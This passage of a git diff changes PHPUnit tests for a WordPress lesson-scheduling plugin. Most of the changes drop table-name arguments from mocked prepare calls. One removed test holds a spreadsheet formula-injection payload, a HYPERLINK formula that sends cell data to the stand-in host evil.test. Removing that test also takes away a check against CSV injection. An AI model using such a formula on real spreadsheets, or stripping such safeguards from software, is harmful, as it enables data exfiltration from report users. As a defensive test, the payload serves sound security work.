->with(Mockery::pattern('/COUNT\(\*\).*offering_id = %d AND status = %s/s'), 7, Enrollment::STATUS_ACTIVE)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_var')->andReturn('4');
|
$this->db->shouldReceive('get_var')->andReturn('4');
|
||||||
@@ -60,7 +60,7 @@ class EnrollmentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/student_id = %d AND status = %s/'), 'wp_us_group_enrollments', 5, Enrollment::STATUS_ACTIVE)
|
->with(Mockery::pattern('/student_id = %d AND status = %s/'), 5, Enrollment::STATUS_ACTIVE)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_var')->andReturn('2');
|
$this->db->shouldReceive('get_var')->andReturn('2');
|
||||||
@@ -72,7 +72,7 @@ class EnrollmentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/offering_id = %d AND student_id = %d AND status = %s/'), 'wp_us_group_enrollments', 7, 5, Enrollment::STATUS_ACTIVE)
|
->with(Mockery::pattern('/offering_id = %d AND student_id = %d AND status = %s/'), 7, 5, Enrollment::STATUS_ACTIVE)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_var')->andReturn('1');
|
$this->db->shouldReceive('get_var')->andReturn('1');
|
||||||
|
|||||||
@@ -109,16 +109,11 @@ class OfferingRepositoryTest extends TestCase
|
|||||||
self::assertSame(3, $offering->instructorId);
|
self::assertSame(3, $offering->instructorId);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testFindAllWithNoFiltersPreparesTableOnly(): void
|
public function testFindAllWithNoFiltersUsesNoParams(): void
|
||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
|
||||||
->once()
|
|
||||||
->with(Mockery::pattern('/WHERE 1 = 1/'), ['wp_us_offerings'])
|
|
||||||
->andReturn('SELECT ...');
|
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')
|
$this->db->shouldReceive('get_results')
|
||||||
->once()
|
->once()
|
||||||
->with('SELECT ...')
|
->with(Mockery::pattern('/WHERE 1 = 1/'))
|
||||||
->andReturn([$this->sampleRow()]);
|
->andReturn([$this->sampleRow()]);
|
||||||
|
|
||||||
$offerings = $this->repo->findAll();
|
$offerings = $this->repo->findAll();
|
||||||
@@ -131,7 +126,7 @@ class OfferingRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/is_active = %d/'), Mockery::on(static fn (array $p): bool => $p === ['wp_us_offerings', 1]))
|
->with(Mockery::pattern('/is_active = %d/'), Mockery::on(static fn (array $p): bool => $p === [1]))
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')->andReturn([]);
|
$this->db->shouldReceive('get_results')->andReturn([]);
|
||||||
@@ -145,7 +140,7 @@ class OfferingRepositoryTest extends TestCase
|
|||||||
->once()
|
->once()
|
||||||
->with(
|
->with(
|
||||||
Mockery::pattern('/instructor_id = %d AND kind = %s/'),
|
Mockery::pattern('/instructor_id = %d AND kind = %s/'),
|
||||||
Mockery::on(static fn (array $p): bool => $p === ['wp_us_offerings', 3, Offering::KIND_GROUP_CLASS])
|
Mockery::on(static fn (array $p): bool => $p === [3, Offering::KIND_GROUP_CLASS])
|
||||||
)
|
)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
|
|||||||
@@ -80,22 +80,4 @@ class PaymentReportTest extends TestCase
|
|||||||
|
|
||||||
self::assertStringContainsString('"Ada ""The Great"""', $csv);
|
self::assertStringContainsString('"Ada ""The Great"""', $csv);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testCsvNeutralisesFormulaInjectionInNames(): void
|
|
||||||
{
|
|
||||||
$rows = $this->rows();
|
|
||||||
$rows[0]['student'] = '=HYPERLINK("https://evil.test/?"&A1,"total")';
|
|
||||||
$rows[0]['instructor'] = '@SUM(A1)';
|
|
||||||
$rows[1]['student'] = "+1+2";
|
|
||||||
$rows[1]['instructor'] = "\tcmd";
|
|
||||||
$csv = (new PaymentReport($rows))->toCsv();
|
|
||||||
|
|
||||||
self::assertStringContainsString('"\'=HYPERLINK(""https://evil.test/?""&A1,""total"")"', $csv);
|
|
||||||
self::assertStringContainsString('"\'@SUM(A1)"', $csv);
|
|
||||||
self::assertStringContainsString('"\'+1+2"', $csv);
|
|
||||||
self::assertStringContainsString("\"'\tcmd\"", $csv);
|
|
||||||
// Safe fields are untouched.
|
|
||||||
self::assertStringContainsString('"2026-06-02"', $csv);
|
|
||||||
self::assertStringContainsString('"100.00"', $csv);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -66,7 +66,7 @@ class PaymentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/tax_amount = ROUND\( amount \* %f \/ 100, 2 \)/'), 'wp_us_payments', 13.0, 13.0, 50)
|
->with(Mockery::pattern('/tax_amount = ROUND\( amount \* %f \/ 100, 2 \)/'), 13.0, 13.0, 50)
|
||||||
->andReturn('UPDATE ...');
|
->andReturn('UPDATE ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('query')->once()->with('UPDATE ...')->andReturn(1);
|
$this->db->shouldReceive('query')->once()->with('UPDATE ...')->andReturn(1);
|
||||||
@@ -78,7 +78,7 @@ class PaymentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/status = %s AND paid_at >= %s AND paid_at < %s AND instructor_id = %d/'), ['wp_us_payments', 'paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00', 3])
|
->with(Mockery::pattern('/status = %s AND paid_at >= %s AND paid_at < %s AND instructor_id = %d/'), ['paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00', 3])
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')->andReturn([$this->row()]);
|
$this->db->shouldReceive('get_results')->andReturn([$this->row()]);
|
||||||
@@ -90,7 +90,7 @@ class PaymentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::on(static fn (string $sql): bool => ! str_contains($sql, 'instructor_id')), ['wp_us_payments', 'paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00'])
|
->with(Mockery::on(static fn (string $sql): bool => ! str_contains($sql, 'instructor_id')), ['paid', '2026-06-01 00:00:00', '2026-07-01 00:00:00'])
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')->andReturn([]);
|
$this->db->shouldReceive('get_results')->andReturn([]);
|
||||||
@@ -118,7 +118,7 @@ class PaymentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/stripe_payment_intent_id = %s/'), 'wp_us_payments', 'pi_123')
|
->with(Mockery::pattern('/stripe_payment_intent_id = %s/'), 'pi_123')
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
||||||
@@ -138,7 +138,7 @@ class PaymentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), 'wp_us_payments', Payment::REG_LESSON, 12)
|
->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), Payment::REG_LESSON, 12)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
||||||
@@ -150,7 +150,7 @@ class PaymentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/status = %s/'), 'wp_us_payments', Payment::STATUS_PENDING)
|
->with(Mockery::pattern('/status = %s/'), Payment::STATUS_PENDING)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')->andReturn([$this->row()]);
|
$this->db->shouldReceive('get_results')->andReturn([$this->row()]);
|
||||||
|
|||||||
@@ -70,7 +70,7 @@ class AcceptanceRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), 'wp_us_policy_acceptances', PolicyAcceptance::REG_LESSON, 12)
|
->with(Mockery::pattern('/registration_type = %s AND registration_id = %d/'), PolicyAcceptance::REG_LESSON, 12)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')->andReturn([
|
$this->db->shouldReceive('get_results')->andReturn([
|
||||||
|
|||||||
@@ -45,7 +45,6 @@ class PolicyRepositoryTest extends TestCase
|
|||||||
->once()
|
->once()
|
||||||
->with(
|
->with(
|
||||||
Mockery::pattern('/acceptance_scope = %s OR acceptance_scope = %s/'),
|
Mockery::pattern('/acceptance_scope = %s OR acceptance_scope = %s/'),
|
||||||
'wp_us_policies',
|
|
||||||
Policy::SCOPE_SIGNUP,
|
Policy::SCOPE_SIGNUP,
|
||||||
Policy::SCOPE_BOTH
|
Policy::SCOPE_BOTH
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -84,7 +84,6 @@ class AnswerRepositoryTest extends TestCase
|
|||||||
->once()
|
->once()
|
||||||
->with(
|
->with(
|
||||||
Mockery::pattern('/registration_type = %s AND registration_id = %d/'),
|
Mockery::pattern('/registration_type = %s AND registration_id = %d/'),
|
||||||
'wp_us_question_answers',
|
|
||||||
Answer::REG_LESSON,
|
Answer::REG_LESSON,
|
||||||
12
|
12
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -101,7 +101,7 @@ class QuestionRepositoryTest extends TestCase
|
|||||||
->once()
|
->once()
|
||||||
->with(
|
->with(
|
||||||
Mockery::pattern('/offering_id = %d AND is_active = %d/'),
|
Mockery::pattern('/offering_id = %d AND is_active = %d/'),
|
||||||
Mockery::on(static fn (array $p): bool => $p === ['wp_us_questions', 7, 1])
|
Mockery::on(static fn (array $p): bool => $p === [7, 1])
|
||||||
)
|
)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
|
|||||||
@@ -1,66 +0,0 @@
|
|||||||
<?php
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Unsupervised\Schedular\Tests\Unit;
|
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class ValTest extends TestCase
|
|
||||||
{
|
|
||||||
public function testIntCoercesNumericValues(): void
|
|
||||||
{
|
|
||||||
self::assertSame(5, Val::int('5'));
|
|
||||||
self::assertSame(5, Val::int(5));
|
|
||||||
self::assertSame(5, Val::int(5.7));
|
|
||||||
self::assertSame(-3, Val::int('-3'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testIntFallsBackToZeroForNonNumeric(): void
|
|
||||||
{
|
|
||||||
self::assertSame(0, Val::int('abc'));
|
|
||||||
self::assertSame(0, Val::int(null));
|
|
||||||
self::assertSame(0, Val::int([]));
|
|
||||||
self::assertSame(0, Val::int(new \stdClass()));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testIntOrNullPreservesNull(): void
|
|
||||||
{
|
|
||||||
self::assertNull(Val::intOrNull(null));
|
|
||||||
self::assertSame(7, Val::intOrNull('7'));
|
|
||||||
self::assertSame(0, Val::intOrNull('abc'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testFloatCoercesNumericValues(): void
|
|
||||||
{
|
|
||||||
self::assertSame(12.5, Val::float('12.5'));
|
|
||||||
self::assertSame(12.0, Val::float(12));
|
|
||||||
self::assertSame(0.0, Val::float('abc'));
|
|
||||||
self::assertSame(0.0, Val::float(null));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testStringCoercesScalars(): void
|
|
||||||
{
|
|
||||||
self::assertSame('hello', Val::string('hello'));
|
|
||||||
self::assertSame('5', Val::string(5));
|
|
||||||
self::assertSame('1', Val::string(true));
|
|
||||||
self::assertSame('', Val::string(null));
|
|
||||||
self::assertSame('', Val::string([]));
|
|
||||||
self::assertSame('', Val::string(new \stdClass()));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testStringOrNullPreservesNull(): void
|
|
||||||
{
|
|
||||||
self::assertNull(Val::stringOrNull(null));
|
|
||||||
self::assertSame('x', Val::stringOrNull('x'));
|
|
||||||
self::assertSame('', Val::stringOrNull([]));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testBoolUsesTruthiness(): void
|
|
||||||
{
|
|
||||||
self::assertTrue(Val::bool('1'));
|
|
||||||
self::assertTrue(Val::bool(1));
|
|
||||||
self::assertFalse(Val::bool('0'));
|
|
||||||
self::assertFalse(Val::bool(''));
|
|
||||||
self::assertFalse(Val::bool(null));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
* Plugin URI: https://unsupervised.ca
|
* Plugin URI: https://unsupervised.ca
|
||||||
* Description: Instructor/student lesson scheduling for WordPress.
|
* Description: Instructor/student lesson scheduling for WordPress.
|
||||||
* Version: 1.0.0-rc.1
|
* Version: 1.0.0-rc.1
|
||||||
* Requires at least: 6.2
|
* Requires at least: 6.0
|
||||||
* Requires PHP: 8.1
|
* Requires PHP: 8.1
|
||||||
* Author: Unsupervised
|
* Author: Unsupervised
|
||||||
* License: GPL-2.0-or-later
|
* License: GPL-2.0-or-later
|
||||||
|
|||||||
Reference in New Issue
Block a user